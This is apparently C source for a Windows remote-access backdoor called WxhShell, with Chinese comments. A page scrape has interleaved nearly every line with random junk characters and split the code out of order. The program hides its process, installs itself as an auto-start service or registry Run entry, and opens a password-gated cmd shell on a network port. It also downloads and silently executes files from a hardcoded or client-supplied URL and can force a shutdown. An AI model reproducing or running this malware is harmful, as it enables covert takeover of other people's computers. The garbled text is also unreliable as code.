    if(Boot(SHUTDOWN)) H2pXJ/XF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >cr_^(UW&  
    else { Vlxb<$5Nh  
    closesocket(wsh); GVHfN5bTqn  
    ExitThread(0); g,GbaaXH  
    } "!_ 4%z-  
    break; #SLxNAH  
    } G*w W&R)  
  // 获取shell ^*UfCoj9Z  
  case 's': { ;h(;(  
    CmdShell(wsh); QmkC~kK1.  
    closesocket(wsh); }+RF~~H/  
    ExitThread(0); 'rq#q)1MT  
    break; E{]|jPdr  
  } 'Tan6 Qa  
  // 退出 #* /W!UOu  
  case 'x': { V]PhXVJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R_*D7|v  
    CloseIt(wsh); j?KB8oY`TP  
    break; $?JLCa  
    } [+cnx21{  
  // 离开 'LLQ[JJ=O  
  case 'q': { -$MC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "i<3}6/*  
    closesocket(wsh); -O> mY)  
    WSACleanup(); mP .&fS  
    exit(1); dK(%u9v  
    break; P)j9\ muc  
        } zhm!sMlO  
  } MfpWow-#{  
  } C.e|VzQa  
%LZM5Z^  
  // 提示信息 FC- *?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); po$ynp756  
} 4l!Yop0h  
  } Y l3[~S  
RDZh>K PG  
  return; a4qpnr]0  
} sluZ-,zE  
j[Zni D  
// shell模块句柄 xW;[}t-QS  
int CmdShell(SOCKET sock) G~hILW^  
{ iF_r'+j  
STARTUPINFO si; P;o>~Y>x  
ZeroMemory(&si,sizeof(si)); +FKP5L}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2?7hUaHX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _M4v1Hr48  
PROCESS_INFORMATION ProcessInfo; Ac(irPrD  
char cmdline[]="cmd"; ?UhAjtYIS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W me1w\0  
  return 0; >,]e[/p  
} \ui~n:aWJ  
]4Yb$e`  
// 自身启动模式 ?$&rC0 t  
int StartFromService(void) <l s/3!  
{ >W]"a3E  
typedef struct 6{r[Dq  
{ /ZN5WK  
  DWORD ExitStatus; AdS_-Cm  
  DWORD PebBaseAddress; sU_4+Mk  
  DWORD AffinityMask; #YYvc`9  
  DWORD BasePriority; ]B'  
  ULONG UniqueProcessId; c1!/jTX$  
  ULONG InheritedFromUniqueProcessId; 5%aKlx9^#  
}   PROCESS_BASIC_INFORMATION; >Pd23TsN  
JP*wi-8D  
PROCNTQSIP NtQueryInformationProcess; Y'H/ $M N  
xdU pp~}+.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QM=436fq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kc']g:*]Y  
WK)k-A^q  
  HANDLE             hProcess; R.'Gg  
  PROCESS_BASIC_INFORMATION pbi; _p2<7x i   
9 @*>$6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0bL=l0N$W  
  if(NULL == hInst ) return 0; iKH T  
Uk ;.Hrt.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [a*>@IR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]BD5+>;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~{$'sp0  
<).qe Z  
  if (!NtQueryInformationProcess) return 0; ^X'7>{7Io  
WWD@rnsVf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); moI<b\G@  
  if(!hProcess) return 0; _7H J'  
OL"5A18;M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <l/Qf[V  
s/0FSv x  
  CloseHandle(hProcess); >:nJTr  
R:m=HS_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E1w XG  
if(hProcess==NULL) return 0; kV9NFo22  
/j\TmcnU^  
HMODULE hMod; v86`\K*0Y  
char procName[255]; x&b-Na3Xi  
unsigned long cbNeeded; '=Y~Ir+  
P>Rqy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M +q 7h+HP  
0nnq/u^  
  CloseHandle(hProcess); / hdl  
U*h)nc  
if(strstr(procName,"services")) return 1; // 以服务启动 \eN/fTPm  
0DT2qM[,  
  return 0; // 注册表启动 ?S:_J!vX{  
} Q</HFpE  
+%$V?y (  
// 主模块 "jMnYEG  
int StartWxhshell(LPSTR lpCmdLine) x)mC^  
{ 9Bw5 t@  
  SOCKET wsl; pra&A2Y\  
BOOL val=TRUE; +mv%z3"j;  
  int port=0; b#j5fEY  
  struct sockaddr_in door; #T`+~tW'|  
j" .6  
  if(wscfg.ws_autoins) Install(); l Nto9  
L<]P K4  
port=atoi(lpCmdLine); e2ZUl` {g  
L KR,CPz  
if(port<=0) port=wscfg.ws_port; ,R6$SrNcd  
ZWEzL$VWi  
  WSADATA data; ) hB*Hjh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <L#r6y~H  
[6N39G$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YWF<2l.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v]S8!wU  
  door.sin_family = AF_INET; bZfJG^3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %,RU)}  
  door.sin_port = htons(port); eA^|B zU  
@eU/g![u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YHAg4 eb8  
closesocket(wsl); $>m<+nai'  
return 1; ?,>y`Qf*|  
}  ?C\9lLX  
B6&Mtm1  
  if(listen(wsl,2) == INVALID_SOCKET) { sg\ jC#  
closesocket(wsl); n K=V`  
return 1; 8#B;nyGD1I  
} 2@rc&Tx  
  Wxhshell(wsl); ~h+3WuOv  
  WSACleanup(); e|y~q0Q$  
w Vmy`OV/  
return 0; nzDY!Y  
biK.HL\V  
} &|*|  
(Cd `~*5  
// 以NT服务方式启动 ,r4af<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a@1gMZc*  
{ `r Ql{$9IC  
DWORD   status = 0; ? GW3E  
  DWORD   specificError = 0xfffffff; m!(K  
+R$KEGu~0Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =v9;HPiO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5P x_vtqP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H;E{Fnarv  
  serviceStatus.dwWin32ExitCode     = 0; {eV_+@dT  
  serviceStatus.dwServiceSpecificExitCode = 0; 1tc9STYR}  
  serviceStatus.dwCheckPoint       = 0; :wm^04<i   
  serviceStatus.dwWaitHint       = 0; $<PVzW,$o  
x #g,l2_!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q5JeL6t  
  if (hServiceStatusHandle==0) return; +^:K#S9U  
1cega1s3xR  
status = GetLastError(); H R  
  if (status!=NO_ERROR) ysPW<  
{ 24fWj?A|^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { q<l]jn9  
    serviceStatus.dwCheckPoint       = 0; v>R.ou(  
    serviceStatus.dwWaitHint       = 0; =c'LG   
    serviceStatus.dwWin32ExitCode     = status; A:Z:&(NtE:  
    serviceStatus.dwServiceSpecificExitCode = specificError; K.~U%v}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5N/;'ySAE_  
    return; ) |a5Qxz  
  } Vy $\.2=  
u:$x,Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `R^VK-=C  
  serviceStatus.dwCheckPoint       = 0; =|/b[Gd(  
  serviceStatus.dwWaitHint       = 0; I%`2RXBt3^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tB.9Ov*  
} ]gZjV  
D![Twlll  
// 处理NT服务事件,比如:启动、停止 {ar }.U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ptcU_*Gd  
{ xB#E&}Ho  
switch(fdwControl) `OWB@_u5  
{ cjk5><}`H7  
case SERVICE_CONTROL_STOP: EC0auB7G  
  serviceStatus.dwWin32ExitCode = 0; r{_'2Z_i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <[bDNe["?  
  serviceStatus.dwCheckPoint   = 0; I\_R& v  
  serviceStatus.dwWaitHint     = 0; ;z#9>99rH  
  { {JJ`|*H$_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *(rE<  
  } l{4\Wn Va  
  return; *?K=;$  
case SERVICE_CONTROL_PAUSE: (ym)q#^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I$&/?ns@O  
  break; PhQD}|S  
case SERVICE_CONTROL_CONTINUE: M}>q>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JQqDUd  
  break; frt?*|:  
case SERVICE_CONTROL_INTERROGATE: {T9g\F*  
  break; kMA>)\  
}; U Lq%,ca  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RfD$@q9  
} Y~6pJNR  
gE&f}M-  
// 标准应用程序主函数 E:ytdaiT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7blZAA?-  
{ ='FEC-f95  
<~3 a aO  
// 获取操作系统版本 Cnolka"  
OsIsNt=GetOsVer(); cD\Qt9EI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V-31x)  
<|4j<U  
  // 从命令行安装 g6farLBF  
  if(strpbrk(lpCmdLine,"iI")) Install();  O>3'ylBQ  
q% "nk  
  // 下载执行文件 m:t $&  
if(wscfg.ws_downexe) { 1Sy#*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,rKN/{M!  
  WinExec(wscfg.ws_filenam,SW_HIDE); DCm;dh  
} Z7v~;JzC#  
}y1M0^M-$  
if(!OsIsNt) { 'coqm8V[%  
// 如果时win9x,隐藏进程并且设置为注册表启动 yQ}~ aA#h  
HideProc(); &P;x<7h$t?  
StartWxhshell(lpCmdLine); =Y BJ7.Y  
} I6\3wU~).  
else <j>@Fg#q  
  if(StartFromService()) ,-Na'n  
  // 以服务方式启动 wcOAyo5(n  
  StartServiceCtrlDispatcher(DispatchTable); $2.DZ  
else 3 R m$  
  // 普通方式启动 AYi$LsLhO  
  StartWxhshell(lpCmdLine); hug12Cu  
,ZSuo4  
return 0; r{btBv  
} s-*XAn ot  
~^eAS;  
o.Q9kk? L  
PQK_*hJG"  
=========================================== dx~Wm1  
Kk,->q<1  
9T]]TEv4  
b7n~z1$  
`XnFc*L 1  
Bw$-*FYE  
" ns3k{l#  
oTL "]3`'  
#include <stdio.h> ,uw &)A  
#include <string.h> ka hv1s-  
#include <windows.h> ?z6C8T~+  
#include <winsock2.h> ]8^2(^3ct  
#include <winsvc.h> XEuv aM  
#include <urlmon.h> Vf@/}=X *  
2#R"#Q!  
#pragma comment (lib, "Ws2_32.lib") FR <wp  
#pragma comment (lib, "urlmon.lib") sOJ~PRA  
t!k 0n&P  
#define MAX_USER   100 // 最大客户端连接数 9we=aX5  
#define BUF_SOCK   200 // sock buffer rEViw?^KT  
#define KEY_BUFF   255 // 输入 buffer S.I<Hs  
]Cj&C/(  
#define REBOOT     0   // 重启  4@5<B  
#define SHUTDOWN   1   // 关机 X>CYKRtb  
DFiexOb  
#define DEF_PORT   5000 // 监听端口 V$@2:@8mo  
T&c[m!}X|t  
#define REG_LEN     16   // 注册表键长度 7+c@pEU]  
#define SVC_LEN     80   // NT服务名长度 r'8e"pTi  
1{wy%|H\  
// 从dll定义API 5 xiYCOy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y`N1I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z` Aiw."|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (*EN!-/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ii9vA ^53  
ZGrV? @o,6  
// wxhshell配置信息 vL><Y.kOEs  
struct WSCFG { Pa.!:N-  
  int ws_port;         // 监听端口 hk=+t&Y<H  
  char ws_passstr[REG_LEN]; // 口令 D&'".N,}  
  int ws_autoins;       // 安装标记, 1=yes 0=no [:o#d`^  
  char ws_regname[REG_LEN]; // 注册表键名 ~5|a9HV:  
  char ws_svcname[REG_LEN]; // 服务名 ^mGTZxO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _V;J7Vz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wjl? @K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kb}N!<Z*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QW!'A`*x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y0Tb/&xN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LC}]6  
(]pQ.3  
}; O-7 \qz  
hOq1 "kL  
// default Wxhshell configuration ' Sl9xd  
struct WSCFG wscfg={DEF_PORT, E>ev/6ox  
    "xuhuanlingzhe", JvG t=v  
    1, Vf:t!'WD?2  
    "Wxhshell", |XsW)/  
    "Wxhshell", cx02b-O  
            "WxhShell Service", .`iq+i~  
    "Wrsky Windows CmdShell Service", l"- D@]"  
    "Please Input Your Password: ", oU2RxK->u  
  1, K)k!`du!6  
  "http://www.wrsky.com/wxhshell.exe", YziQU_  
  "Wxhshell.exe" cx$Oh`-Car  
    }; vb%\q sf  
$Fn# b|e  
// 消息定义模块 =#W{&Te;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EH[?*>+s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Pl[SMt!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |.,y M|  
char *msg_ws_ext="\n\rExit."; -AbA6_j  
char *msg_ws_end="\n\rQuit."; :ortyCB:H  
char *msg_ws_boot="\n\rReboot..."; ~E)I+$,  
char *msg_ws_poff="\n\rShutdown..."; "XH]B  
char *msg_ws_down="\n\rSave to "; 9|go`^*.  
> 4^U=T#  
char *msg_ws_err="\n\rErr!"; xv)7-jlx  
char *msg_ws_ok="\n\rOK!"; !is8`8F8  
ZpwB"%e$  
char ExeFile[MAX_PATH]; L'c4 i[~s  
int nUser = 0; & z?y  
HANDLE handles[MAX_USER]; u-?&~WA  
int OsIsNt; a E#s#Kv   
=e4,)Wd9&  
SERVICE_STATUS       serviceStatus; ve>8vw2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ar\`OhR  
6=zme6D  
// 函数声明 IX3r$}4  
int Install(void); g'IS8@  
int Uninstall(void); * "E]^wCn  
int DownloadFile(char *sURL, SOCKET wsh); is6JS^Q  
int Boot(int flag); ZJx:?*0a  
void HideProc(void); Q8P;AN_JS  
int GetOsVer(void); !?KY;3L:  
int Wxhshell(SOCKET wsl); x|Q6[Y  
void TalkWithClient(void *cs); Y!SD^Ie7!  
int CmdShell(SOCKET sock); Pukq{/27  
int StartFromService(void); =]D##R  
int StartWxhshell(LPSTR lpCmdLine); I*0 W\Qz@  
%Jw;c`JM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;DRJL   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <=0_[M  
t!PFosFp  
// 数据结构和表定义 1e&`m~5K+  
SERVICE_TABLE_ENTRY DispatchTable[] = h[ t OY  
{ 8`im4.~#%  
{wscfg.ws_svcname, NTServiceMain}, No[>1]ds  
{NULL, NULL} d+/d)cu  
}; amPQU  
upX/fL c  
// 自我安装 Sd{>(YWx~  
int Install(void) SQEXC*08  
{ Q.5a"(d@  
  char svExeFile[MAX_PATH]; ov|s5yH8e  
  HKEY key; VJ wzYl   
  strcpy(svExeFile,ExeFile); `]fY9ZDKs  
:@pm gp  
// 如果是win9x系统,修改注册表设为自启动 s(zG.7*3n  
if(!OsIsNt) { Yc9 M6=E^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { te:@F]A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y<5s)OehG  
  RegCloseKey(key); t4,6`d?C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zJ#q*2A(Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ."MBKyg6  
  RegCloseKey(key); ;KnnAZJ  
  return 0; Zaq:l[%  
    } @ws3X\`<C  
  } Haturg  
} yvVs9"|0  
else { 9<xe%V=ki  
QjRVdb>  
// 如果是NT以上系统,安装为系统服务 4u"O/rt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YH E7`\l  
if (schSCManager!=0) Qs~;?BH&  
{ T6{IuQjXs  
  SC_HANDLE schService = CreateService i8 dv|oa  
  ( [t0gXdU 6  
  schSCManager, 5~ jGF  
  wscfg.ws_svcname, ^D\#*pIO  
  wscfg.ws_svcdisp, ~(Fy GB}  
  SERVICE_ALL_ACCESS, ]0\8g=KK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SA}]ZK P  
  SERVICE_AUTO_START, MF=@PE][  
  SERVICE_ERROR_NORMAL, u dH7Q&"  
  svExeFile, d]+g3oy `  
  NULL, 3{ `fT5]U  
  NULL, u0N1+-6kr+  
  NULL, 6n<:ph,h;  
  NULL, |3vQmd !2}  
  NULL * \f(E#wa  
  ); ;o#dmG  
  if (schService!=0) .O~)zM x  
  { ][D<J0  
  CloseServiceHandle(schService); ZJd1Lx   
  CloseServiceHandle(schSCManager); k~:B3p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8_W<BXW  
  strcat(svExeFile,wscfg.ws_svcname); {L3lQ8Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qA&N6`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y%iN9 -t  
  RegCloseKey(key); w!tQU9+ *  
  return 0; -<qci3Ba}  
    } M]eH JZ~v  
  } $UKV2c  
  CloseServiceHandle(schSCManager); ba|~B8rII[  
} ;Q-(tGd  
} O'o`  
2v yB [(  
return 1; ]yA| m3^2  
} .~C*7_  
L1M]ya!l  
// 自我卸载 "o% N`Xlx  
int Uninstall(void) fXO"Mr1  
{ 9fyk7~ V  
  HKEY key; pX|\J>u)  
G+=&\+{#4  
if(!OsIsNt) { N!aV~\E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j2g#t  
  RegDeleteValue(key,wscfg.ws_regname); }hEBX:-  
  RegCloseKey(key); Cd]d[{NJ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "wA3l%d[Y  
  RegDeleteValue(key,wscfg.ws_regname); ,Rz,[KI|  
  RegCloseKey(key); zN*/G6>A  
  return 0; NhXTt!S6C  
  } 3,W2CN}  
} Peh( *D{  
} $0NWX  
else { CQQX7Y\  
>\%44ba6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lzw3 x  
if (schSCManager!=0) w=y!|F  
{ hP,SvN#!2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [K x_%Le  
  if (schService!=0) 0}-&v+  
  { zZGPA j  
  if(DeleteService(schService)!=0) { 74xI#`E  
  CloseServiceHandle(schService); E.t9F3  
  CloseServiceHandle(schSCManager); M"ZP s   
  return 0; AZxOq !B  
  } {PWz:\oaD  
  CloseServiceHandle(schService); *~4w%U4T0  
  } 'BcxKqC  
  CloseServiceHandle(schSCManager); F[ m^(x  
} i8+kc_8#d  
} u3w `(3{ <  
 \^w=T*  
return 1; +7^{T:^ht  
} }|&M@Up  
+|r) ;>b  
// 从指定url下载文件 n!A')]y"  
int DownloadFile(char *sURL, SOCKET wsh) v6;XxBR6  
{ @| qnD  
  HRESULT hr; `N;u#z  
char seps[]= "/"; L*11hyyk  
char *token; {>pB  
char *file; O=G2bdY{,  
char myURL[MAX_PATH]; v5RS<?o  
char myFILE[MAX_PATH]; _LxV)  
Yk6fr~b  
strcpy(myURL,sURL); 's(0>i  
  token=strtok(myURL,seps); WOz dYeeG  
  while(token!=NULL) SG$/v  
  { kT[]^Jtc  
    file=token; Y6W3WPs(  
  token=strtok(NULL,seps); rM/*_0[`d  
  } KSMe#Qnw  
!nU  
GetCurrentDirectory(MAX_PATH,myFILE); `3*>tq  
strcat(myFILE, "\\"); w1h07_u;v  
strcat(myFILE, file); "u3  
  send(wsh,myFILE,strlen(myFILE),0); >/ECLP  
send(wsh,"...",3,0); 'h([Y8p{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f @Hp,-  
  if(hr==S_OK) ?,;|*A  
return 0; +g@@|&B  
else !D7 [R'RgY  
return 1; e(6g|h  
'[{M"S  
} 4ehajK  
&:nWZ!D  
// 系统电源模块 Qf$0^$ "  
int Boot(int flag) Yono8M;9*  
{ ~BaU2S@y  
  HANDLE hToken; <~u.:x@ R  
  TOKEN_PRIVILEGES tkp; b=Zg1SqV  
4qrPAt  
  if(OsIsNt) { kZWc(LwA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l)Q,*i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bv)E>%Yy  
    tkp.PrivilegeCount = 1; p}}}~ lC/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _+T;4U' p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *;1G+Q#  
if(flag==REBOOT) { #Jq@p_T"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -$.$6"]  
  return 0; ^{zwIH2I]  
} iS hB ^  
else { 0/#XUX 4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "mSDL:$  
  return 0; O_FT@bo\  
} .KIAeCvl\  
  } Q4Hf!v]r  
  else { pz:$n_XC}  
if(flag==REBOOT) { 9 %,_G.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Z{; c  
  return 0; EN+WEMro  
} ;#G>qo  
else { rM2?"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tv,^ Q}  
  return 0; YL;ZZ2A  
} @lc1Ipfk"  
} Km 'd=B>Jy  
VjMd&>G  
return 1; fFqK.^Tn  
} CDO _A\  
MV e5j+8  
// win9x进程隐藏模块 IhJ _Yed  
void HideProc(void) v7\~OOoH]  
{ *J 7>6N:-  
s^AQJ{X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %$:js4  
  if ( hKernel != NULL ) st:[|`  
  { W7O%.xP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \I/l6H>o3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #D .H2'_}  
    FreeLibrary(hKernel); ^pKC0E[%  
  } o{ f n}  
X:j&+d2g0/  
return; ?P4`  
} jQ4Pv`  
=3a`NO5!  
// 获取操作系统版本 H) m!)=\'  
int GetOsVer(void) nR!qolh  
{ ) ok_"wB  
  OSVERSIONINFO winfo; tJ&S&[}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H_o<!YxK  
  GetVersionEx(&winfo);  &j2L- )  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IgLP=mqcWK  
  return 1; gA`/t e  
  else ?F(t`0=  
  return 0; MP w@O0QS  
} >Cb% `pe  
$_S^Aw?  
// 客户端句柄模块 4Q z  
int Wxhshell(SOCKET wsl) bO9F rEz5  
{ 7`~h'(k  
  SOCKET wsh; KG4~t=J`  
  struct sockaddr_in client; ;k (}~_  
  DWORD myID; t1n'Ecm(  
$B2* x$  
  while(nUser<MAX_USER) GNZQj8  
{ shYcfLJ  
  int nSize=sizeof(client); N{q5E,}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '"GdO;}&  
  if(wsh==INVALID_SOCKET) return 1; 6:330"9  
0 -=onX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZZ]/9oiF%  
if(handles[nUser]==0) E$ F)z  
  closesocket(wsh); bpzB}nEp  
else $O%lYQY]  
  nUser++; FOquQr1cF  
  } P2 !~}{-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nUs)  
@wl80v  
  return 0; +M-' K19  
} +ulX(u(,  
L((z;y>q|  
// 关闭 socket BXZ( %tnY  
void CloseIt(SOCKET wsh) D<5gdIw  
{ /UN%P2>^1  
closesocket(wsh); *yiJw\DRN  
nUser--; L)y}  
ExitThread(0); ~Xh(JK]  
} TG{=~2  
Tk|0 scjE^  
// 客户端请求句柄 MR#jI  
void TalkWithClient(void *cs) [0m'a\YE9  
{ <saS2.4  
)#xd]~ <  
  SOCKET wsh=(SOCKET)cs; dm8veKW'l  
  char pwd[SVC_LEN]; :*0k:h6g  
  char cmd[KEY_BUFF]; `vL R;D  
char chr[1]; cK@O)Ko}  
int i,j; :2 QA#  
Y^2Ma878  
  while (nUser < MAX_USER) { :M1+[FT  
y{!`4CxF  
if(wscfg.ws_passstr) { &{Uaa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dQ/Xs.8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K4,VSy1byI  
  //ZeroMemory(pwd,KEY_BUFF); i:qc2#O:J  
      i=0; 0}Kl47}aD  
  while(i<SVC_LEN) { 5\:#-IYJ  
\@MGO aR]  
  // 设置超时 +\"@2mOH{+  
  fd_set FdRead; WuSRA<{P  
  struct timeval TimeOut; o1GWcxu*\  
  FD_ZERO(&FdRead); }{=%j~V;&  
  FD_SET(wsh,&FdRead); S4~^HvMG[Y  
  TimeOut.tv_sec=8; oYlq1MB?  
  TimeOut.tv_usec=0; gA" =so  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UrN$nhH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a[lE9JA;|  
F] M3/M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &e cf5jFy  
  pwd=chr[0]; #)my)}o\p  
  if(chr[0]==0xd || chr[0]==0xa) { V [[B~Rs  
  pwd=0; v*FCE 1HI  
  break; SDA +XnmH  
  } hYb!RRGn  
  i++; /bt@HFL|`  
    } %QwMB`x  
} ..}]J;To  
  // 如果是非法用户,关闭 socket ~qFi0<-M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pC_2_,6$  
} $Snwx  
GrVvOJr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H# 2'\0u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w2/%e$D!9  
J\m7U  
while(1) { m[ifcDZ(e  
;,Lq*x2s  
  ZeroMemory(cmd,KEY_BUFF); s8 .oS);`  
YHvmo@  
      // 自动支持客户端 telnet标准   @ mt v2P`  
  j=0; B quyPG"  
  while(j<KEY_BUFF) { J[VQ6fD%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |\~cjPX(  
  cmd[j]=chr[0]; dRWp/3 }  
  if(chr[0]==0xa || chr[0]==0xd) { $sGX%u  
  cmd[j]=0; }I05&/o.3p  
  break; Yw?%>L  
  } JfKl=vg  
  j++; D' uzH|z8  
    } s x`C<c~u  
WXO@oZ!  
  // 下载文件 zcIZJVYA  
  if(strstr(cmd,"http://")) { r4!zA-{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); # ?}WQP!  
  if(DownloadFile(cmd,wsh)) 3o"~_l$z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%7k<1d'`  
  else -qid.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'hU&$lgMF  
  } pZjyzH{~  
  else { z~z.J ]  
DC[ -<:B  
    switch(cmd[0]) { ]C5JP~ #z  
  )7c^@I;7  
  // 帮助 6M612   
